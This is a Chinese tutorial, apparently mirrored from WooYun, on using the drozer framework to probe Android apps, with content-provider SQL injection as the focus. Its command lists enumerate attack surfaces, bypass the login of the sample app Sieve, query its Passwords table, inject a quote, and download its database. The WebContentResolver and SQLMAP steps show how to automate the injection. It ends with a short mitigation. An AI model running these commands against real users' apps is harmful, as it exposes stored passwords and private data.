Android App Injection&&Drozer Use

wyzsk發表於2020-08-19
作者: 小樂天 · 2014/09/16 18:07

0x01 準備工作


測試環境:

1) 手機root許可權

2) Adb.exe

3) 手機usb連線開啟debug模式(在設定>關於手機>連續點選多次版本號,即可開啟開發者模式)

4) Window下安裝drozer

5) 安裝完drozer後在其目錄下把agent.apk安裝到手機

6) WebContentResolver.apk

7) 附帶測試案例使用app sieve

0x02 drozer安裝與使用


安裝

1) windows安裝 下載:

https://www.mwrinfosecurity.com/products/drozer/community-edition/

在Android裝置中安裝agent.apk:

#!bash
>adb install agent.apk

或者直接連線USB把檔案移動到記憶體卡中安裝

2) *inux安裝(Debian/Mac)

#!bash
$ wget http://pypi.python.org/packages/2.7/s/setuptools/setuptools-0.6c11-py2.7.egg
$ sh setuptools-0.6c11-py2.7.egg
$ easy_install --allow-hosts pypi.python.org protobuf
$ easy_install twisted==10.2.0
$ easy_install twisted ./drozer-2.3.0-py2.7.egg
$ drozer        //執行測試

下面介紹三種方法執行

1) USB方式

#!bash
>adb forward tcp:31415 tcp:31415        //adb目錄下執行次命令
選擇drozer>Embedded Server>Enabled
>drozer.bat console connect     //在PC端drozer目錄下執行此命令

2) Wifi方式

#!bash
>drozer.bat console connect --server 192.168.1.12:31415  //在PC端執行192.168.1.12為android端ip和埠

3) Infrastructure Mode 這種模式涉及到三個通訊方,drozer server、drozer agent(Android 裝置中)與drozer console。

其中server與agent,server與console需要網路互通。這種模式的好處是你不需要知道android裝置的ip,

agent與console的ip段可以隔離的,並且可以支援一個server對應多個裝置的操作。

#!bash
>drozer.bat server start

在Android裝置上新建一個New Endpoint,修改配置Host為PC server端ip,並且啟用Endpoint

#!bash
>drozer console connect --server 192.168.1.2:31415      //192.168.1.2為server端ip和埠

使用

> list  //列出目前可用的模組,也可以使用ls
> help app.activity.forintent       //檢視指定模組的幫助資訊
> run app.package.list      //列出android裝置中安裝的app
> run app.package.info -a com.android.browser       //檢視指定app的基本資訊
> run app.activity.info -a com.android.browser      //列出app中的activity元件
> run app.activity.start --action android.intent.action.VIEW --data-uri  http://www.google.com  //開啟一個activity,例如執行瀏覽器開啟谷歌頁面
> run scanner.provider.finduris -a com.sina.weibo       //查詢可以讀取的Content Provider
> run  app.provider.query content://settings/secure --selection "name='adb_enabled'"    //讀取指定Content Provider內容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo     //列出指定檔案路徑裡全域性可寫/可讀的檔案
> run shell.start       //shell操作
> run tools.setup.busybox       //安裝busybox
> list auxiliary        //透過web的方式檢視content provider元件的相關內容
> help auxiliary.webcontentresolver     //webcontentresolver幫助
> run auxiliary.webcontentresolver      //執行在瀏覽器中以http://localhost:8080即可訪問
以sieve示例
> run app.package.list -f sieve         //查詢sieve應用程式
> run app.package.info -a com.mwr.example.sieve         //顯示app.package.info命令包的基本資訊
> run app.package.attacksurface com.mwr.example.sieve   //確定攻擊面
> run app.activity.info -a com.mwr.example.sieve         //獲取activity資訊
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //啟動pwlist
> run app.provider.info -a com.mwr.example.sieve        //提供商資訊
> run scanner.provider.finduris -a com.mwr.example.sieve        //掃描所有能訪問地址 
>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical  //檢視DBContentProvider/Passwords這條可執行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"   //檢測注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //檢視讀許可權資料
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下載資料
> run scanner.provider.injection -a com.mwr.example.sieve       //掃描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve         //檢視服務

0x03 Android App Injection

1) 首先用drozer掃描Android應用可注入的Url

#!bash
Dz > run scanner.provider.injection

enter image description here

2) 啟動WebContentResolver.apk應用程式,Web介面訪問url格式如下

http://localhost:8080/query?a=providers&path0=Parameter1&path1=Parameter2&pathn=parametern&selName=column&selId=id

enter image description here

解釋: providers:為content://後第一個引數比如records Parameter1:為第二個引數operations Parameter2..parametern:為後門的依次類推的引數,如果後面有這麼多引數 Column:表欄位例如上面欄位<_id> Id:為欄位資料

注意:格式必須是這樣,selName、selId這兩個引數第二個單詞是大寫的。

3) 在PC端執行adb

#!bash
>adb forward tcp:8080 tcp:8080  //此時在位址列輸入http://localhost:8080即可訪問Web介面

4) 以content://settings/bookmarks/為例,在位址列輸入

http://localhost:8080/query?a=settings&path0=bookmarks&selName=_id&selId=1

enter image description here

5) 自動化結合SQLMAP

enter image description here

0x04 總結&&解決方案


總結:雖然很多小夥說直接用檔案管理進去檢視資料庫更方便,我也不多說什麼,就像上次看到一帖子為了檢視wifi密碼寫了一大篇的,直接進去資料庫看不就是了,我能呵呵一句麼。 避免這個漏洞方法只需要指定標誌讀取許可權和限制寫入許可權。如果我們不想共享儲存第三方應用程式記錄,另一個解決方案可以消除provider或將其設定為false。

0x05 參考:


  • https://labs.mwrinfosecurity.com/blog/2011/12/02/how-to-find-android-0day-in-no-time/
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章